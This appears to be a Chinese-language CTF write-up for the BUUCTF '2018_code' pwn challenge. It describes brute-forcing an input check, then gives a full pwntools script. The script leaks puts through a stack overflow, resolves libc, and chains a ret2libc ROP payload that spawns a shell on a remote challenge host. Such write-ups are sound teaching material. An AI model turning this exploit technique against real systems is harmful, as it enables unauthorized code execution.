查看保护
程序流程
先输入name,然后通过对输入的字符串进行检测,通过后进入到have_fun()函数
check_str()函数要求输入的字符串ascii码在[65,90],[97,122],即字符‘A’-‘Z’和’a’-’z’;
另一个函数要求如下结果
这里可以写相应的python代码进行爆破(时间太长,可以测试查看规律)
相应的结果如下
可以发现结果是递增的,并且
那么可以猜测进行测试
确定第一个为w,后面以从类推
那么输入‘wyBTs’即可成功通过检测
进入到have_fun函数,有简单的栈溢出,且没有canary
那么可以先泄露puts的地址,然后获得libc基地址,最后获得system和/bin/sh地址,最终获得shell
完整ex
from pwn import *
context(log_level='debug',arch='amd64')
#io=process("./2018_code")
io=remote("node3.buuoj.cn",25540)
elf=ELF("./2018_code")
io.recv()
io.sendline('wyBTs')
io.recv()
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
have_fun=0x400801
pop_rdi_ret=0x400983
payload=b'A'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(have_fun)
io.sendline(payload)
io.recvuntil(b'\x0a')
puts=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts))
io.recv()
from LibcSearcher import *
libc = LibcSearcher('puts',puts)
#获取libc加载地址
libc_base = puts - libc.dump('puts')
#获取system地址
system_addr = libc_base + libc.dump('system')
#获取/bin/sh地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
ret=0x40055e
payload=b'A'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)
io.recv()
io.interactive()